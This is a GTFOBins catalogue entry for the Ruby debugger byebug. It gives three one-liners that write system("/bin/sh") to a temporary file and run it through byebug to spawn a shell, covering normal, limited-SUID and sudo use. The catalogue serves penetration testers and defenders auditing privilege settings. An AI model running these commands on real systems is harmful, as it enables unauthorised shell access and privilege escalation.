GTFOBins.github.io/_gtfobins/byebug.md

389 B

functions
shell limited-suid sudo
code
TF=$(mktemp) echo 'system("/bin/sh")' > $TF byebug $TF continue
code
TF=$(mktemp) echo 'system("/bin/sh")' > $TF ./byebug $TF continue
code
TF=$(mktemp) echo 'system("/bin/sh")' > $TF sudo byebug $TF continue